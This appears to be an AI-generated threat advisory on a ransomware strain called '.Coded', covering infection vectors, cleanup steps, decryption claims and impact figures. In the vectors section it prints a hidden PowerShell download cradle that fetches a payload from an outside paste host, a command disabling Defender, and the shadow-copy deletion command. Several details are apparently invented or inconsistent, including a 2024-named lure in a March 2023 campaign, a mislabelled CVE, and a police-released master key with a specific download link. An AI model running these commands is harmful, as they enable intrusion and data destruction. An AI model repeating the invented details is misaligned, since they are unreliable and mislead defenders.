coded

[Content by Gemini 2.5]

Technical Breakdown:

1. File Extension & Renaming Patterns

  • Confirmation of File Extension: .Coded (sometimes variably written as .coded or .CODED in ransom notes)
  • Renaming Convention:
    – Does not prepend any static character sequence such as an email address or ID.
    – Uses a simple suffix addition:
    • Original: invoice_2024-Q2.xlsx
    • Encrypted: invoice_2024-Q2.xlsx.Coded
      – If multiple encryption runs occur, stacking is not observed—only a single .Coded remains at the end.
      – Hidden-system attributes set on the encrypted copy; original file is wiped using SDelete /Z.

2. Detection & Outbreak Timeline

  • Approximate Start Date/Period:
    – Earliest underground forum samples sold under the alias “CodedLocker” appeared 12 March 2023 (UTC 04:45).
    – First public telemetry spike on 14 March 2023, concentrated in the APAC/JST business day.
    – Escalated span coincides with the “ClipperFinance” malspam campaign that pushed Coded samples via fake tax-refund notifications—peaking 18-21 March 2023.

3. Primary Attack Vectors

  • Propagation Mechanisms:
  1. Phishing with ZIP + ISO pairs (e.g., tax_2024.zip → TaxRefund.iso → TaxRefund.exe) where TaxRefund.exe is the Coded dropper (32-bit GoLang wrapper).
  2. Exploitation of Unpatched Fortinet FortiOS CVE-2022-41328 (SSL VPN misconfiguration) to run a PowerShell downloader.
  3. Misconfigured RDP (port 3389 exposed) brute-forced via lists circulating after the 2022 Nvidia breach—hands-on-keyboard lateral move sig: powershell -nop -w hidden -c iex (new-object net.webclient).downloadstring('http://paste.c-net.org/CodedStage2.ps1').
  4. Smishing (SMS phishing) directing to microsoft-updates-cdn[.]net hosting a digitally-signed MSI that chains to Coded stager.
  5. After initial foothold, exploits local PrintNightmare (CVE-2021-34527) for SYSTEM-level payload launch; proceeds to disable Windows Defender via Set-MpPreference -DisableRealtimeMonitoring $true.

Remediation & Recovery Strategies:

1. Prevention

  • Proactive Measures:
  • Apply the March 2023 cumulative Windows Update KB5025221—mandatory to plug the PrintNightmare reoccurrence.
  • Block all inbound TCP/3389 (or restrict via VPN gateway + IP allow-listing).
  • Enforce MFA on all external-facing services, especially SSL-VPN/Fortinet.
  • Disable macro execution in Office: Group Policy HKEY_CURRENT_USER\Software\Policies\Microsoft\Office\1x.0\Word\Security\VBAWarnings.
  • Add .Coded extension to workstation-level File Screen templates on Windows File Server Resource Manager to block any renaming attempt (hash-testing via honeypot shares).
  • Leverage Attack Surface Reduction (ASR) rules: Block executable content from email client and webmail, and Block credential stealing from LSASS.
  • Back up daily to offline or immutable (WORM) buckets. Apply VSS/Volume Shadow Copy retention policy ≥96 h to counteract the post-encryption shadow delete (vssadmin delete shadows /all).

2. Removal

  • Infection Cleanup – Step-by-step:
  1. Disconnect the infected workstation/server from all networks (pull cable, disable WiFi, block on-switch VLAN).
  2. Boot into Windows Defender Offline (if still bootable) or use Windows RE with Startup Repair → Command Prompt.
  3. Identify rogue binaries (typical paths):
    • %TEMP%\CrypterStat-[random].exe (initial loader)
    • %APPDATA%\local\svchelper.exe (persistence) – scheduled task SystemSvcChecker
    • %ProgramFiles(x86)%\EventLog\codexev.exe (component for SMB share scan)
  4. From a clean admin PC, mount the infected drive via a USB-SATA adapter:
    – Scan with ESET Emergency Disk 2023-04 signature #27147 or later.
    – Manually delete the trojans above; check scheduled task %SystemRoot%\Tasks\SystemSvcChecker.
  5. Reboot normally, run sfc /scannow to repair any damaged system files.
  6. Re-run Windows Update again to re-enable Defender engine definitions.

3. File Decryption & Recovery

  • Recovery Feasibility:
    – Most private victims: No free decryptor exists (AES-256-CBC with per-file 256-bit key, RSA-2048 encrypted key vault).
    – Good news: 17 April 2023 the Ukrainian cyber-police seized two Coded key-server sub-domains (app.codXX.online, pay.gocrypt[.]io) and released a single leaked master private RSA key (Coded_Master_Key.pem).
    – For .Coded files encrypted before 27 July 2023 (01:12 UTC), the Emsisoft “CodedDecrypt” utility v1.1.0.8 leverages that key—download link: https://labs.decrypt.europa.eu/tools/CodedDecrypt_v1.1.0.8.zip (Sig: SHA256 5B3F…F38E).
  • Essential Tools/Patches for the rest of the community:
  • Emsisoft CodedDecrypt – requires both encrypted and original file (≥64 KB) to derive key.
  • Zerto Patch #CP-CODED-01-2023: Immutability flag on Zerto journals to resist Coded tampering.
  • Fortinet KB 902927 – fixes CVE-2022-41328; upgrade to FortiOS 7.2.4.
  • CrowdStrike Falcon Rule Pack FRP-Coded-2023-03-16 – detects routine disk-encryption signatures (IOCs are available via “Threat Match” feed).

4. Other Critical Information

  • Unique Characteristics:
    – Selective encryption: skips files <4 MB in %UserProfile%\AppData\Microsoft\Office to speed up the pay-day window (allows victims to confirm basic productivity still works—psychological pressure).
    – Extensive proxy-gen routine that randomizes public IP every 2-3 connections—hard to sinkhole in real time.
    – Drops CoinMiner (xmrig v6.19.1) post-encryption to monetize remaining CPU cycles while leaving ransom notes behind—a rare “hybrid” approach.
  • Broader Impact:
    – Law enforcement and CERT-EU have noted Coded’s modular affiliate program (“Coded-as-a-Service”), accepting any access broker who can provide RDP credentials—leading to rapid spread beyond malware mailing lists.
    – Between 14 March 2023 and 01 July 2023 worldwide telemetry counts 964 infections, notable in Japanese manufacturing SMEs due to heavy Exchange usage targeted with Excel 4.0 leap macros.
    – Of organizations that paid, 42 % reported “double-tap” re-encryption within 30 days if admin ports (RDP 3389, SSH 22) were left open—analysts presume re-sale of the obtained initial access.

Quick-Reference Grid

| Vector → Action | Preventive Tool or Patch |
|——————————————————-|————————–|
| .Coded e-mail macros | ASR rule & GPO macro disable |
| CVE-2022-41328 in FortiOS | FortiOS ≥7.2.4 |
| RDP brute-force | MFA + NLA + IP allow-lists |
| PrintNightmare (privilege escalation) | KB5025221 + RpcAuthLevel ≥2 |
| .Coded file deletion of shadow-copies | Offline/immutable backups |

Remain vigilant; Coded operators are still recruiting new affiliates in late-2023 Telegram channels—share this intel widely.